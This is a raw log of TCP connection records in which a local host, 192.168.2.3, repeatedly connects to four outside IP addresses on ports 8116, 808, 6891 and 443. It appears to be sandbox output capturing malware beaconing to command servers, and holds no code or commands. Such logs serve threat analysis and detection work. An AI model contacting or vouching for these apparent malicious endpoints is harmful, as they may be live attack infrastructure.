Oct 28, 2021 05:04:52.250904083 CEST	49887	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:52.255487919 CEST	49887	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:52.259480953 CEST	49887	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:52.259577990 CEST	49887	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:52.314007998 CEST	8116	49887	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:52.483237028 CEST	8116	49887	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:52.483267069 CEST	8116	49887	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:52.483380079 CEST	49887	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:52.487266064 CEST	49887	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:52.542090893 CEST	8116	49887	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:52.620022058 CEST	443	49886	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:52.620112896 CEST	443	49886	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:52.620197058 CEST	49886	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:52.633074045 CEST	49886	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:52.633114100 CEST	443	49886	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:52.641063929 CEST	49888	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:52.641104937 CEST	443	49888	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:52.641211033 CEST	49888	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:52.642658949 CEST	49888	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:52.642677069 CEST	443	49888	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:52.757518053 CEST	49889	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:52.916830063 CEST	808	49889	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:52.917135000 CEST	49889	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:53.165391922 CEST	443	49888	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:53.166691065 CEST	49888	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:53.333591938 CEST	49889	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:53.335040092 CEST	49888	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:53.335067034 CEST	443	49888	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:53.339344025 CEST	49888	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:53.339358091 CEST	443	49888	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:53.339519024 CEST	49888	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:53.339539051 CEST	443	49888	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:53.494674921 CEST	808	49889	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:53.494694948 CEST	808	49889	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:53.494761944 CEST	49889	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:53.495482922 CEST	49889	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:53.499485970 CEST	49889	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:53.499789953 CEST	49889	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:53.654699087 CEST	808	49889	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:53.658600092 CEST	808	49889	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:53.658859015 CEST	808	49889	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:53.658874989 CEST	808	49889	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:53.658885002 CEST	808	49889	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:54.039586067 CEST	808	49889	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:54.039627075 CEST	808	49889	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:54.039763927 CEST	49889	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:54.039817095 CEST	49889	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:54.048574924 CEST	443	49888	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:54.048645973 CEST	443	49888	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:54.048681974 CEST	49888	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:54.048723936 CEST	49888	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:55.282444954 CEST	49888	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:55.282481909 CEST	443	49888	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:55.287380934 CEST	49889	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:55.446667910 CEST	808	49889	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:55.456783056 CEST	49890	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:55.457878113 CEST	49891	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:55.618822098 CEST	808	49890	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:55.619064093 CEST	49890	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:55.619709969 CEST	49890	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:55.624281883 CEST	6891	49891	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:55.624527931 CEST	49891	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:55.625119925 CEST	49891	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:55.781462908 CEST	808	49890	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:55.781542063 CEST	808	49890	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:55.781620979 CEST	49890	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:55.783541918 CEST	49890	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:55.787205935 CEST	49890	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:55.787285089 CEST	49890	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:55.791383982 CEST	6891	49891	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:55.791501045 CEST	6891	49891	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:55.791562080 CEST	49891	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:55.795623064 CEST	49891	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:55.799550056 CEST	49891	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:55.799695969 CEST	49891	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:55.945347071 CEST	808	49890	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:55.948959112 CEST	808	49890	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:55.948987961 CEST	808	49890	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:55.949002981 CEST	808	49890	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:55.949033976 CEST	808	49890	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:55.965933084 CEST	6891	49891	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:55.965960026 CEST	6891	49891	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:56.331063986 CEST	808	49890	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:56.331091881 CEST	808	49890	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:56.331182957 CEST	49890	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:56.333231926 CEST	49890	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:56.343677044 CEST	6891	49891	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:56.343707085 CEST	6891	49891	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:56.343770981 CEST	49891	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:56.343802929 CEST	49891	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:56.351378918 CEST	49891	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:56.447001934 CEST	49892	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:56.475025892 CEST	49893	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:56.495383024 CEST	808	49890	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:56.517927885 CEST	6891	49891	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:56.521737099 CEST	8116	49893	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:56.523786068 CEST	49893	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:56.524302006 CEST	49893	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:56.570837975 CEST	8116	49893	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:56.571053982 CEST	8116	49893	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:56.571172953 CEST	49893	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:56.571851015 CEST	49893	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:56.576512098 CEST	49893	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:56.576643944 CEST	49893	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:56.613487959 CEST	6891	49892	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:56.614989996 CEST	49892	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:56.616075993 CEST	49892	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:56.623122931 CEST	8116	49893	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:56.623141050 CEST	8116	49893	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:56.623825073 CEST	8116	49893	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:56.783461094 CEST	6891	49892	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:56.783489943 CEST	6891	49892	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:56.783605099 CEST	49892	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:56.784159899 CEST	49892	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:56.787930965 CEST	49892	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:56.788064003 CEST	49892	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:56.796065092 CEST	8116	49893	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:56.796087027 CEST	8116	49893	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:56.796200037 CEST	49893	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:56.796256065 CEST	49893	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:56.803703070 CEST	49893	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:56.851043940 CEST	8116	49893	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:56.913332939 CEST	49894	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:56.913392067 CEST	443	49894	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:56.913480997 CEST	49894	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:56.914228916 CEST	49894	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:56.914251089 CEST	443	49894	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:56.954279900 CEST	6891	49892	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:56.954308987 CEST	6891	49892	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:57.332916975 CEST	6891	49892	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:57.332942963 CEST	6891	49892	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:57.333064079 CEST	49892	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:57.336174965 CEST	49892	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:57.436429977 CEST	443	49894	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:57.436579943 CEST	49894	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:57.437200069 CEST	49894	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:57.437211990 CEST	443	49894	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:57.442744970 CEST	49894	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:57.442763090 CEST	443	49894	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:57.442903042 CEST	49894	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:57.442915916 CEST	443	49894	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:57.461719036 CEST	49895	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:57.502577066 CEST	6891	49892	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:57.515949965 CEST	8116	49895	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:57.516061068 CEST	49895	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:57.516874075 CEST	49895	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:57.570898056 CEST	8116	49895	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:57.571039915 CEST	8116	49895	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:57.571114063 CEST	49895	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:57.571666956 CEST	49895	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:57.575716972 CEST	49895	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:57.575876951 CEST	49895	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:57.630198956 CEST	8116	49895	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:57.630790949 CEST	8116	49895	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:57.668487072 CEST	8116	49895	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:57.800923109 CEST	8116	49895	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:57.800950050 CEST	8116	49895	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:57.801059961 CEST	49895	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:57.801105976 CEST	49895	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:57.804054976 CEST	49895	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:57.858118057 CEST	8116	49895	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:57.927293062 CEST	49896	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:57.927350044 CEST	443	49896	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:57.927440882 CEST	49896	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:57.928036928 CEST	49896	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:57.928050041 CEST	443	49896	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:58.151443005 CEST	443	49894	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:58.151520014 CEST	443	49894	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:58.151612997 CEST	49894	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:58.151633024 CEST	49894	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:58.158715010 CEST	49894	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:58.158744097 CEST	443	49894	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:58.292443037 CEST	49897	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:58.445384026 CEST	443	49896	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:58.446603060 CEST	49896	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:58.446625948 CEST	49896	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:58.446635008 CEST	443	49896	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:58.452641964 CEST	49896	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:58.452666998 CEST	443	49896	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:58.452836990 CEST	49896	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:58.452864885 CEST	443	49896	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:58.461930037 CEST	808	49897	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:58.462120056 CEST	49897	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:58.462833881 CEST	49897	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:58.632311106 CEST	808	49897	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:58.632441044 CEST	808	49897	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:58.632519960 CEST	49897	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:58.633059978 CEST	49897	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:58.637209892 CEST	49897	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:58.637351036 CEST	49897	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:58.802414894 CEST	808	49897	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:58.806824923 CEST	808	49897	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:58.806909084 CEST	808	49897	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:58.806926012 CEST	808	49897	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:58.806940079 CEST	808	49897	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:59.158180952 CEST	443	49896	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:59.158238888 CEST	49896	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:59.158250093 CEST	443	49896	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:59.158293009 CEST	49896	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:59.161278009 CEST	49896	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:59.161318064 CEST	443	49896	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:59.192477942 CEST	808	49897	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:59.192533016 CEST	808	49897	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:59.192559004 CEST	49897	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:59.192580938 CEST	49897	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:59.200084925 CEST	49897	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:59.318414927 CEST	49898	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:59.352615118 CEST	49899	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:59.369647026 CEST	808	49897	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:59.483947992 CEST	6891	49898	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:59.484122992 CEST	49898	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:59.484827995 CEST	49898	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:59.520978928 CEST	808	49899	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:59.522682905 CEST	49899	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:59.523334026 CEST	49899	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:59.650113106 CEST	6891	49898	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:59.650242090 CEST	6891	49898	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:59.650352001 CEST	49898	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:59.650887966 CEST	49898	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:59.653830051 CEST	49898	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:59.653985023 CEST	49898	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:59.691385984 CEST	808	49899	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:59.691579103 CEST	808	49899	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:59.691704988 CEST	49899	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:59.692121029 CEST	49899	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:59.694871902 CEST	49899	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:59.694962978 CEST	49899	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:59.819056988 CEST	6891	49898	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:59.819078922 CEST	6891	49898	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:59.858731031 CEST	6891	49898	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:59.859992981 CEST	808	49899	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:59.862773895 CEST	808	49899	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:59.862792015 CEST	808	49899	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:59.862802029 CEST	808	49899	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:59.862811089 CEST	808	49899	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:00.205889940 CEST	6891	49898	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:00.205921888 CEST	6891	49898	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:00.206238031 CEST	49898	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:00.211741924 CEST	49898	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:00.242072105 CEST	808	49899	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:00.242125988 CEST	808	49899	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:00.242328882 CEST	49899	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:00.245862007 CEST	49899	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:00.339685917 CEST	49900	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:00.377073050 CEST	6891	49898	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:00.389419079 CEST	8116	49900	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:00.389529943 CEST	49900	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:00.391690969 CEST	49900	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:00.394573927 CEST	49901	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:00.413886070 CEST	808	49899	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:00.441052914 CEST	8116	49900	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:00.441297054 CEST	8116	49900	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:00.441381931 CEST	49900	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:00.441879034 CEST	49900	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:00.444581032 CEST	49900	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:00.444694996 CEST	49900	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:00.493983030 CEST	8116	49900	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:00.494605064 CEST	8116	49900	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:00.561137915 CEST	6891	49901	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:00.561316013 CEST	49901	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:00.562935114 CEST	49901	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:00.667057037 CEST	8116	49900	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:00.667081118 CEST	8116	49900	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:00.667228937 CEST	49900	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:00.667256117 CEST	49900	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:00.674324989 CEST	49900	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:00.723830938 CEST	8116	49900	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:00.729368925 CEST	6891	49901	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:00.729408026 CEST	6891	49901	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:00.729553938 CEST	49901	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:00.732580900 CEST	49901	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:00.737230062 CEST	49901	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:00.737366915 CEST	49901	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:00.815577984 CEST	49902	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:00.815633059 CEST	443	49902	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:00.815718889 CEST	49902	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:00.816399097 CEST	49902	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:00.816425085 CEST	443	49902	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:00.903707027 CEST	6891	49901	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:00.903724909 CEST	6891	49901	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:00.903732061 CEST	6891	49901	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:01.284626007 CEST	6891	49901	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:01.284647942 CEST	6891	49901	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:01.284709930 CEST	49901	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:01.284739971 CEST	49901	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:01.287499905 CEST	49901	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:01.330687046 CEST	443	49902	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:01.330910921 CEST	49902	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:01.332926989 CEST	49902	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:01.332946062 CEST	443	49902	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:01.336344004 CEST	49902	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:01.336363077 CEST	443	49902	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:01.336458921 CEST	49902	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:01.336473942 CEST	443	49902	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:01.430068970 CEST	49903	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:01.453952074 CEST	6891	49901	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:01.486588001 CEST	8116	49903	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:01.486673117 CEST	49903	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:01.490607023 CEST	49903	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:01.547214031 CEST	8116	49903	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:01.547597885 CEST	8116	49903	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:01.547676086 CEST	49903	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:01.550579071 CEST	49903	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:01.554483891 CEST	49903	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:01.554630995 CEST	49903	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:01.611202955 CEST	8116	49903	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:01.611685038 CEST	8116	49903	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:01.783061981 CEST	8116	49903	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:01.783109903 CEST	8116	49903	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:01.783220053 CEST	49903	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:01.790584087 CEST	49903	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:01.847501040 CEST	8116	49903	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:01.931231976 CEST	49904	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:01.931284904 CEST	443	49904	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:01.931400061 CEST	49904	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:01.932133913 CEST	49904	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:01.932149887 CEST	443	49904	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:02.044600964 CEST	443	49902	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:02.044668913 CEST	443	49902	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:02.044694901 CEST	49902	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:02.044718981 CEST	49902	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:02.051541090 CEST	49902	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:02.051575899 CEST	443	49902	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:02.169392109 CEST	49905	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:02.329947948 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:02.330147982 CEST	49905	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:02.335819960 CEST	49905	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:02.446840048 CEST	443	49904	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:02.447499037 CEST	49904	443	192.168.2.3	192.46.210.220
